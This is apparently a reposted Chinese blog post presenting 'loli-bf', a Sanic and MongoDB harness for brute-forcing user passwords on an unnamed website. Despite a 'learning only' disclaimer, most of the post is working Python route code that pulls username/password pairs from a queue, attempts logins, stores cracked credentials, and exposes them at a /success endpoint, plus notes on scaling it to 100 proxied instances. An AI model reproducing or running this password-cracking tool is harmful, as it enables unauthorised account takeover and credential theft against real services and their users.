用新的框架去brute force某个网站,仅作学习测试

网友投稿 630 2022-10-31

用新的框架去brute force某个网站,仅作学习测试

用新的框架去brute force某个网站,仅作学习测试

loli-bf

用新的框架去brute force某个网站,仅作学习测试,全程只拿自己的账号和随机生成账号做测试

尝试用高性能的sanic框架写了一段代码去暴力破解某站的用户密码,用mongodb做数据存储

@app.route("/status")def get_status(request): readyNum = do_count(collection) failNum = do_count(fail_collection) errorNum = do_count(error_collection) successNum = do_count(success_collection) return json({"all": allNum, "readyNum": readyNum, "failNum": failNum, "errorNum": errorNum, "successNum": successNum})@app.route("/success")def get_success(request): h = list(success_collection.find()) return text(h)@app.route("/go")def gooooogo(request): document = do_find_one_and_delete(collection) doc = {'user': document['user'], 'pwd': document['pwd']} username, userpass = doc['user'], doc['pwd'] try: status_code = login(username, userpass) if status_code == 0: do_insert( success_collection, doc ) else: do_insert( fail_collection, doc ) except: status_code = 2 do_insert( error_collection, doc ) return json([{"status": "ok", "success": True}, {"status": "incorrent password", "success": False}, {"status": "internet refuse you", "success": False}][status_code])allNum = do_count(collection)app.run(host="127.0.0.1", port=int(sys.argv[1]), loop=myloop)

路由

代码中写了三个路由,功能分别是:

/go 访问这个地址,将在服务端发起登录请求,返回登录状态(json)- 一开始用压力测试工具wrk访问,后来改用python的threading库运行requests访问/status 存储登录结果,分为成功,密码错误,网络错误,返回这几种类型的实时数目(json)/success 返回记录到的登录成功的账号的用户名(邮箱)和密码(json)

理想是美好的,现实是骨感的

由于代码编写水平问题,导致该程序单个运行速度实在太慢,于是我用supervisor启动100个,再在openresty(nginx)中反向代理一下这100个地址,希望速度能够爆表

可是,速度还是相当差的,唯一值得安慰的是准确率不错,由于网络错误造成的失败的次数很少

发起请求

访问地址发起一个登录请求

状态

显示payload数量

登录成功的账号

显示登录成功的账号,图中是我的账号

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:C# Notes
下一篇:vec2d
相关文章

 发表评论

暂时没有评论,来抢沙发吧~